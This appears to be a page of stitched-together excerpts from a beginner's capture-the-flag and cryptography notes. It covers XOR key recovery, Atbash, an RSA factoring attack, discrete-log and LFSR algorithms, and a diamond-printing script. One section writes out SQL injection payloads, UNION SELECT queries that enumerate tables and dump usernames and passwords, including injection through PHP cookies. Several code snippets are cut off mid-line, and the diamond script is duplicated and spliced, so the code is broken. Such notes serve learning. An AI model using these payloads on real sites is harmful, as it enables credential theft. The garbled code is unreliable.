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There are three files, one.txt, one.txt.enc and second.txt.enc. Challenge is to decrypt the second.txt.enc using the key. So we got a message + cipher, so we got a hint that operation done using XOR. So XORing (Message ^ Cipher) = Key. #!/usr/bin/env python import hashlib """ one.txt This sentence is encrypted using XOR cipher. """ plain_text = open('one.txt','r').read().strip() """ one.txt.enc LAcbGEUKHQEGDgsaHU8bGEUcFgwAEhUNHQtSHhYQFghSMyorWAwbGw0cCkE= """ cipher_text = open('one.txt.enc','r').read().decode("base64") print plain_text print '---------------------------------------------------------------------' print cipher_text print '---------------------------------------------------------------------' plain_text = [ord(i) for i in plain_text] cipher_text = [ord(i) for i in cipher_text] key = '' for i in range(len(plain_text)): c = ((plain...

Question: Zgyzhsxrksvi dzh lirtrmzoob wvevolkvw uli gsv Svyivd ozmtfztv. Gsv pvb uli gsrh ovevo rh svyivd. Given Hint: The Atbash cipher is a very common, simple cipher. It was for the Hebrew alphabet, but modified here to work with the English alphabet. Basically, when encoded, an "A" becomes a "Z", "B" turns into "Y", etc. The Atbash cipher can be implemented as an Affine cipher by setting both "a" and "b" to 25. We used online  tool http://rumkin.com/tools/cipher/atbash.php  to decrypt the encoded message. This is your encoded/decoded text: Atbash   cipher was originally developed for the Hebrew language. The key for this level is hebrew.

''' Well I am a beginner. netcat 23.23.190.204 2002 Welcome Enter 20 spam words to authenticate yourself. 01/20: spam 02/20: maps 03/20: hot Authenticate failed. hot(125) is not a palprime. (Hint) Tried with different test cases and found the value for each alphabet. Since in the challenge only lower-case should be used (condition). so I written a big program ( Once again I am a beginner, to find the palprime words available in dictionary. For the words list I downloaded the dataset from infochimps.com Thank you !!! ''' #!/usr/bin/python import string import sys,math import random my_dict ={} a =1 s = 361 t = 762 - s - a n = 196 b = 405 - a -t c = 410 - a - t d =213 - a - n e = 426 - a -t f = 437 -a -t g = 306 - 1 -256 i = 442 - s h = 506 - i - s j = 525 - e -t k = 627 -i -t -e l = 738 -i -g -h -t p = 256 m = 169 o = 274 - g u = 833 - 2*n q = 1211 - u -i -t r = 918 -i -g -h -t v = 885 -a -t w = 651 -i -d -e x = 962 -e -s y = 1587 -e -s -x z = 103...

The Berlekamp–Massey algorithm is an algorithm that will find the shortest linear feedback shift register for a given binary output sequence. The algorithm will also find the minimal polynomial of a linearly recurrent sequence in an arbitrary field. I have used sage for computing this program. # Berlekamp-Massey Algorithm #from __future__ import print_function s = [GF(2)(0), 0, 1, 0, 0, 0, 0, 0, 1, 1, 0] #input sequence n = len(s) C = [GF(2)(1)] B = [GF(2)(1)] temp = [] T = [] L = 0 N = 0 m = -1 print '----- n',n print '-----------------------------------------------------------------------' while N < n: temp = B d = s[N] for i in range(1,L+1): d = d + C[i]*s[N-i] print '----- d ',d if d == 1: T = C temp = [ 0 for i in range(int(N-m))] + temp if len(C) < len(temp): C = C + [0 for i in range(len(temp)-len(C))] else: temp = temp +...

""" TRAIL and DIVISION METHOD with PRIME_SIEVE """ def primes_sieve(limit): a = [True] * limit # Initialize the primality list a[0] = a[1] = False for (i, isprime) in enumerate(a): if isprime: yield i for n in xrange(i*i, limit, i): # Mark factors non-prime a[n] = False def trial_division(n): """Return a list of the prime factors for a natural number.""" if n == 1: return [1] primes = primes_sieve(int(pow(n,0.5)) + 1) # Prime factor is always less than SQRT(n)+1 prime_factors = [] for p in primes: if p*p > n: break while n % p == 0: prime_factors.append(p) n //= p if n > 1: prime_factors.append(n) return prime_factors t = trial_division(600851475143) print t Fermat Theorem import math def gcd(a, b): while a != b: if a > b: ...

#Baby Step Giant Step DLP problem y = a**x mod n #Example 70 = 2**x mod 131 y = 70 a = 2 n = 131 s = floor(sqrt(n)) A = [] B = [] for r in range(0,s): value = y*(a^r) % n A.append(value) for t in range(1,s+1): value = a^(t*s) % n B.append(value) print A print B x1,x2 =0,0 for r in A: for t in B: if r == t: x1 = A.index(r) x2 = B.index(t) print x1,x2 break print 'the value of x is ', ((x2+1)*s - x1) % n # Answer

## using SAGE RSA n = 80646413 p = floor(sqrt(80646413)) ### Finding Factor p*q = n while(true): if (n%p == 0): print p break p=p+1 q = n / p print q #### phi(n) n1 = (p-1) * (q-1) print n1 e =5 d = e^-1 % n1 print d ### got private key ###Fast Exponentiation Algorithms def expo(c,d,n): if (d==1): return c%n if (d==2): return c*c % n if (d%2==0): return expo(expo(c,d/2,n),2,n) else: return c*expo(expo(c,(d-1)/2,n),2,n) cipher = [72895864,15633602,38820479,60303684,7458706,60299530,20682371,54642689,26066811,32615038,35349196,76400140,38820479,56463813,80491201,76400140,35349196,69567074,26066811,76400140,74270178,76127647,76127647,15633602,76400140,60303684,38820479,56463813,60303684,76400140,72844764,76127647,69302434,15633602,80491201,76400140,6809712,26066811,76400140,42498798,60299530,76127647,69302434,80491201,33234011] flag = '' for c in cipher: flag = flag+ chr(ex...

id=4  UNION ALL SELECT 1,2,3 id=4  UNION ALL SELECT 1,table_name,3 from information_schema.tables id=4  UNION ALL SELECT 1,column_name,3 from information_schema.columns id=4  UNION ALL SELECT 1,username,password from users Another is by COOKIES in PHP <query> = '$username' ' UNION ALL SELECT 1,2;# ' UNION ALL SELECT table_name,3 from information_schema.tables;# ' UNION ALL SELECT column_name,1 from information_schema.columns;# ' UNION ALL SELECT login, password from users;# i BASE64 convertor http://www.base64decode.org/ TAMPER DATA in MOZILA browser to inject it

print(" Diamond Format \n") val = eval(input('Enter the value ')) k=val//2 j=0 for i in range(1,val,2): print(' '*k,end='') print('*'*i)print(" Diamond Format \n") val = eval(input('Enter the value ')) k=val//2 j=0 for i in range(1,val,2): print(' '*k,end='') print('*'*i) k=k-1 j=i j=j-2 k=2 #print(' ',j) for j in range(j,0,-2): print(' '*k,end='') print('*'*j) k=k+1 k=k-1 j=i j=j-2 k=2 #print(' ',j) for j in range(j,0,-2): print(' '*k,end='') print('*'*j) k=k+1

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